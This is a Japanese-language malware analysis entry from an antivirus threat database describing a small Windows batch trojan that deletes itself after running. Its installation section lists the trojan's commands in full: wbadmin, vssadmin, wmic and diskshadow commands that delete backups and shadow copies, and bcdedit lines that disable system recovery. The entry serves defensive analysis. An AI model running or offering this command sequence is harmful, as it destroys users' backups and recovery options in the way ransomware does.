解析者: Clive Fuentebella   
 別名:

Trojan.Script.Agent.cr (KASPERSKY)

 プラットフォーム:

Windows

 危険度:
 ダメージ度:
 感染力:
 感染確認数:
 情報漏えい:

  • マルウェアタイプ:
    トロイの木馬型

  • 破壊活動の有無:
    なし

  • 暗号化:
    なし

  • 感染報告の有無 :
    はい

  概要

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

マルウェアは、実行後、自身を削除します。

  詳細

ファイルサイズ 707 bytes
タイプ BAT
メモリ常駐 なし

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

マルウェアは、以下のファイルを作成します。

  • {Current directory}\sc.txt

マルウェアは、以下のプロセスを追加します。

  • wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0
  • wbadmin DELETE BACKUP -keepVersions:0
  • wmic SHADOWCOPY DELETE
  • vssadmin Delete Shadows /All /Quiet
  • bcdedit /set {default} recoveryenabled No
  • bcdedit /set {default} bootstatuspolicy ignoreallfailures
  • vssadmin list shadows
  • cmd.exe /C wbadmin STOP job
  • cmd.exe /C wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0 -quiet
  • cmd.exe /C wbadmin DELETE CATALOG -quiet
  • cmd.exe /C wbadmin DISABLE backup
  • cmd.exe /C bcdedit /set {default} recoveryenabled No
  • cmd.exe /C bcdedit /set {default} bootstatuspolicy ignoreallfailures
  • cd "{Current directory}"
  • echo delete shadows all>>sc.txt
  • echo exit>>sc.txt
  • cmd.exe /C diskshadow -s sc.txt
  • del /f "{Current directory}\sc.txt"
  • pause
  • del %0

マルウェアは、実行後、自身を削除します。